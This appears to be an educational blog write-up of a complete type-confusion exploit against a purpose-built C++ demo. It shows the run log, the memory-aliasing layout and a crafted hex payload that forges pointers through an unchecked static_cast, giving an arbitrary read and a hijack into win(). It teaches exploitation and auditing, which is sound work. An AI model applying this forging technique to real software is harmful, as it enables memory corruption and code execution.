Challenge to the reader: Before reading, open any C++ codebase you work on and grep for static_cast. Count how many of those casts cross a type hierarchy boundary without a preceding kind/type/discriminator check. Each one you find is a potential type-confusion gadget. Keep that number in mind as you read.
Type confusion is one of the most dangerous vulnerability classes in C++ — and also one of the most overlooked. A single unchecked static_cast that crosses a class-hierarchy boundary lets an attacker reinterpret memory under false pretenses, unlocking two primitives that every exploit developer dreams of: arbitrary read and control-flow hijack. This post walks through a complete, end-to-end type-confusion exploit — from Docker image build to shellcode-free code execution — with every memory layout, pointer value, and cast decision laid bare.
We ran this exploit inside a Docker container as a 3-phase pipeline: (1) build, (2) address-space leak, (3) memory forgery and confused-cast trigger. By the end, we had both a secret flag exfiltrated and the instruction pointer redirected to a privileged win() function — without writing a single byte of shellcode.
1. Phase 0 — Docker Build
The complete exploit output, captured from a single ./run.sh invocation inside the Docker container:
[*] building image 'type-confusion-demo' ...
[+] Building 0.1s (10/10) FINISHED docker:default
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 821B 0.0s
=> [internal] load metadata for docker.io/library/debian:bookworm-slim 0.0s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/5] FROM docker.io/library/debian:bookworm-slim 0.0s
=> [internal] load build context 0.0s
=> => transferring context: 60B 0.0s
=> CACHED [2/5] RUN apt-get update && apt-get install -y --no-install-recommends g++ python3 && rm -rf /var/lib/apt/lists/* 0.0s
=> CACHED [3/5] WORKDIR /app 0.0s
=> CACHED [4/5] COPY vuln.cpp exploit.py ./ 0.0s
=> CACHED [5/5] RUN g++ -O0 -g -o vuln vuln.cpp 0.0s
=> exporting to image 0.0s
=> => exporting layers 0.0s
=> => writing image sha256:4dc07ebd4ae1768aee959e58e9721ba078d5b8bd5aff99286c92ab3aee0aff25 0.0s
=> => naming to docker.io/library/type-confusion-demo 0.0s
[*] running exploit ...
[*] type-confusion exploit against: ./vuln
[*] step 1: leak runtime addresses (defeats PIE/ASLR)
[debug] g_secret @ 0x5cdf40a98008
[debug] win @ 0x5cdf40a962f9
[debug] ready; commands: LEAK | ADD SAFE HEX <hex> | ADD SAFE TEXT <text> | ADD PRIV | SHOW <id> | LIST | QUIT
LEAK g_secret=0x5cdf40a98008 win=0x5cdf40a962f9
[+] &g_secret = 0x00005cdf40a98008
[+] &win = 0x00005cdf40a962f9
[*] step 2: register a SafeWidget whose name bytes forge PrivWidget fields
name[0..7] = secret_ptr = 0x5cdf40a98008 (arbitrary read)
name[8..15] = callback = 0x5cdf40a962f9 (control-flow hijack)
raw hex = 0880a940df5c0000f962a940df5c0000
OK id=0 kind=1 (safe, hex)
[+] malicious SafeWidget registered as id=0
[*] step 3: trigger the confused cast via 'SHOW 0'
[handle] real kind=1 -> treating as PrivWidget
[handle] secret_ptr=0x5cdf40a98008 -> "FLAG{type_confusion_demo_flag_1337}"
[handle] callback=0x5cdf40a962f9, invoking...
[WIN] control flow hijacked via type confusion: FLAG{type_confusion_demo_flag_1337}
=== exploitation summary ===
[+] arbitrary read : SafeWidget.name -> secret_ptr -> secret string disclosed
[+] control hijack : SafeWidget.name -> callback -> win() executed
[+] SUCCESS: type confusion fully exploited
This is the full transcript — build, address leak, memory forgery, and dual-primitive trigger — from a single end-to-end run. The sections that follow walk through each phase in detail.
The abbreviated build output that run.sh extracts is:
run.sh calls docker build -t type-confusion-demo ., which runs a 5-layer Dockerfile:
| Layer | Action | Cache hit? |
|---|---|---|
| 1 | FROM debian:bookworm-slim |
✅ cached |
| 2 | apt-get install g++ python3 |
✅ cached |
| 3 | WORKDIR /app |
✅ cached |
| 4 | COPY vuln.cpp exploit.py ./ |
✅ cached |
| 5 | g++ -O0 -g -o vuln vuln.cpp |
✅ cached |
All 5 steps were fully cached, hence the near-instant 0.1s total. The flags -O0 -g are critical: -O0 disables all compiler optimisations, preserving the predictable memory layout the exploit depends on, and -g embeds DWARF debug symbols. The resulting image SHA is sha256:4dc07ebd4ae1768aee959e58e9721ba078d5b8bd5aff99286c92ab3aee0aff25.
Challenge to the reader: Recompile the same vuln.cpp with -O2 and re-run the exploit. Which primitives still work? Which break? Understanding the gap between -O0 and -O2 exploitability is the difference between a CTF writeup and a real-world attack.
2. Phase 1 — Address Leak (Defeating PIE/ASLR)
[*] step 1: leak runtime addresses (defeats PIE/ASLR)
[debug] g_secret @ 0x5cdf40a98008
[debug] win @ 0x5cdf40a962f9
LEAK g_secret=0x5cdf40a98008 win=0x5cdf40a962f9
[+] &g_secret = 0x00005cdf40a98008
[+] &win = 0x00005cdf40a962f9
vuln.cpp intentionally prints both addresses at startup as a stand-in for a real-world information-leak primitive (e.g., a format-string bug or use-after-free partial overwrite). Even though the binary is compiled as a PIE and the kernel uses ASLR, once the attacker has these two pointers the entire game is over — every subsequent address calculation is exact.
Key observations:
- Both addresses sit in the
0x5cdf40a9xxxxregion → they landed in the same ASLR slide for this run. g_secret(0x5cdf40a98008) is in the.data/ read-only-data segment (astatic const char*).win(0x5cdf40a962f9) is in the.textsegment (executable code). Note the odd last nibble9— this is a normal function entry point, not a gadget; no ROP required.- The 16-byte delta between
0x5cdf40a98008and0x5cdf40a962f9spans two different ELF sections, yet because PIE slides the whole image uniformly, the compile-time offset is preserved at runtime — this is the invariant that makes PIE bypasses systematic.
3. Phase 2 — Memory Forgery (Crafting the Malicious SafeWidget)
[*] step 2: register a SafeWidget whose name bytes forge PrivWidget fields
name[0..7] = secret_ptr = 0x5cdf40a98008 (arbitrary read)
name[8..15] = callback = 0x5cdf40a962f9 (control-flow hijack)
raw hex = 0880a940df5c0000f962a940df5c0000
OK id=0 kind=1 (safe, hex)
[+] malicious SafeWidget registered as id=0
This is the heart of the exploit. The memory layout aliasing (from vuln.cpp) is:
Offset (from Widget base) SafeWidget field PrivWidget field
─────────────────────────────────────────────────────────────────
+0 .. +7 vptr vptr vptr
+8 .. +11 kind (=1) kind (=1) kind (=2)
+12 .. +15 pad (=0) pad (=0) pad (=0)
+16 .. +23 — name[0..7] ←→ secret_ptr
+24 .. +31 — name[8..15] ←→ callback
+32 .. +47 — name[16..31] (nothing)
Here is the same aliasing, visualized as a side-by-side memory map:
SAFEWIDGET AS ALLOCATED PRIVWIDGET AS INTERPRETED
+---------------------------+ +---------------------------+
Bytes 00-07 | vptr (8 bytes) | ====> | vptr (8 bytes) |
+---------------------------+ +---------------------------+
Bytes 08-11 | kind = 1 (int) | ====> | kind = 1 (int) |
+---------------------------+ +---------------------------+
Bytes 12-15 | pad = 0 (int) | ====> | pad = 0 (int) |
+---------------------------+ +---------------------------+
Bytes 16-23 | [0] | | |
| [1] Attacker Injection | | secret_ptr |
| ... (&g_secret) | ====> | (Points to Flag!) |
| [7] | | |
+---------------------------+ +---------------------------+
Bytes 24-31 | [8] | | |
| [9] Attacker Injection | | callback |
| ... (&win) | ====> | (Points to win()) |
| [15] | | |
+---------------------------+ +---------------------------+
Bytes 32-47 | [16]...[31] Remaining Buf | | (Out of bounds |
+---------------------------+ | for PrivWidget) |
+---------------------------+
The exploit packs both pointers as little-endian 64-bit integers and sends them as a hex blob via the ADD SAFE HEX command:
0x5cdf40a98008in LE bytes:08 80 a9 40 df 5c 00 00→ placed atname[0..7]0x5cdf40a962f9in LE bytes:f9 62 a9 40 df 5c 00 00→ placed atname[8..15]- Concatenated:
0880a940df5c0000f962a940df5c0000✅ matches output exactly
The target program allocates the object on the heap with kind=1 (SafeWidget) but name[] contains the forged pointers. The attacker now controls what handle() will interpret as secret_ptr and callback.
4. Phase 3 — Triggering the Type Confusion
[*] step 3: trigger the confused cast via 'SHOW 0'
[handle] real kind=1 -> treating as PrivWidget
[handle] secret_ptr=0x5cdf40a98008 -> "FLAG{type_confusion_demo_flag_1337}"
[handle] callback=0x5cdf40a962f9, invoking...
[WIN] control flow hijacked via type confusion: FLAG{type_confusion_demo_flag_1337}
SHOW 0 routes to handle(registry[0]). Inside handle(), the unsafe cast executes:
PrivWidget* p = static_cast<PrivWidget*>(w); // <-- NO kind check
Because static_cast performs no runtime type verification (unlike dynamic_cast which would return nullptr here), the CPU starts reading memory at offsets it believes belong to a PrivWidget.
The full execution pipeline, from data ingestion through both exploit primitives:
[ STEP 1: INGESTION ]
Attacker sends ADD SAFE HEX command with crafted payload
|
v
[ STEP 2: ALLOCATION ]
Heap object created as SafeWidget (kind=1)
name[0..7] = 0x5cdf40a98008 (&g_secret)
name[8..15] = 0x5cdf40a962f9 (&win)
|
v
[ STEP 3: THE CONFUSED CAST ]
static_cast<PrivWidget*>(w) forces the compiler to trust the type
|
+-----------------------------+
| |
v v
[ PRIMITIVE A: ARBITRARY READ ] [ PRIMITIVE B: CONTROL HIJACK ]
Dereferences p->secret_ptr Executes p->callback()
| |
v v
Reads address 0x5cdf40a98008 Jumps execution to 0x5cdf40a962f9
| |
v v
Prints: "FLAG{type_...}" Enters win() -> Code executed!
Two things happen simultaneously:
-
Arbitrary Read — It dereferences
p->secret_ptr(which is actuallyname[0..7]=0x5cdf40a98008) and passes the result toprintf("%s", ...). This dereferences the forged pointer and printsFLAG{type_confusion_demo_flag_1337}— data the API was never supposed to expose. -
Control-Flow Hijack — It loads
p->callback(which is actuallyname[8..15]=0x5cdf40a962f9) and calls it. The CPU jumps towin(), a privileged function the safe API path never invokes. The[WIN]line confirms code execution was redirected.
5. Offset Alignment Quick-Reference
This table maps the exact runtime values captured in the exploit log against the variables they impersonate:
| Offset (Bytes) | Field Source (SafeWidget) |
Reinterpreted Target (PrivWidget) |
Injected Exploitation Value | Resolution Effect |
|---|---|---|---|---|
+00 to +07 |
vptr |
vptr |
Valid Virtual Table | Normal object handling |
+08 to +11 |
kind (1) |
kind |
0x00000001 |
Fails logical checking if validated |
+16 to +23 |
name[0..7] |
secret_ptr |
0x5cdf40a98008 |
Leaks flag memory contents |
+24 to +31 |
name[8..15] |
callback |
0x5cdf40a962f9 |
Forces jump to win() function |
6. Exploitation Summary
=== exploitation summary ===
[+] arbitrary read : SafeWidget.name -> secret_ptr -> secret string disclosed
[+] control hijack : SafeWidget.name -> callback -> win() executed
[+] SUCCESS: type confusion fully exploited
Both primitives fired successfully:
| Primitive | Mechanism | Result |
|---|---|---|
| Arbitrary Read | name[0..7] reinterpreted as secret_ptr; printf("%s", p->secret_ptr) |
Secret flag string exfiltrated |
| Control-Flow Hijack | name[8..15] reinterpreted as callback; p->callback() called |
win() executed — RIP redirected |
exploit.py checks both conditions (the FLAG{...} substring in output and the [WIN] line) before printing SUCCESS and exiting with code 0. If either primitive fails, it exits with code 2 — clean pass/fail semantics for CI integration.
7. Why This Works — The Root Cause
The bug is a single unchecked static_cast in handle(). In a real-world codebase this pattern appears when:
- A code path assumes it will only ever receive a
PrivWidget*but there is no API boundary enforcing that invariant. - A union-like hierarchy shares a base class but the discriminator field (
kind) is never consulted before casting. static_castis explicitly chosen overdynamic_castfor performance, silently trading type safety for speed.
Challenge to the reader: Here is the real-world connection. CVE-2021-30551 (Chrome/V8 type confusion in Array.prototype.sort) and multiple Pwn2Own-class bugs follow this exact pattern: JSObject type maps are forged to create the same two primitives — arbitrary read and RIP control — just at JS-engine scale. The class of bug is identical. Find a static_cast or reinterpret_cast in a codebase you depend on that crosses a type-hierarchy boundary. Trace whether there is a discriminator check before it. If there isn’t, you have found a potential type-confusion gadget. The gap between “potential gadget” and “weaponized exploit” is the information leak — but as Phase 1 showed, leaks are abundant.
Final challenge: Take the vuln.cpp source — any open-source C++ project with a class hierarchy will do — and identify three static_cast sites. For each one, answer: (a) Is there a discriminator check before the cast? (b) If not, what field of the derived class overlaps with what field of the base class at the cast site? (c) If you controlled those bytes, what primitive would you gain? You now have a threat model.
Real-World Analogues
Real-world analogues include CVE-2021-30551 (Chrome/V8 type confusion in Array.prototype.sort) and multiple Pwn2Own-class bugs where JSObject type maps are forged — same class of bug, same two primitives (arbitrary read + RIP control), just at JS-engine scale. The technique scales from a 200-line CTF demo to a multi-million-line browser codebase because the root cause — an unchecked cast across a type-hierarchy boundary — is language-level, not project-level.
Source Code
The complete exploit source code (vuln.cpp, exploit.py, Dockerfile, run.sh) is available at:
https://github.com/tthtlc/vuln_exploration_exercise/tree/main/type_confusion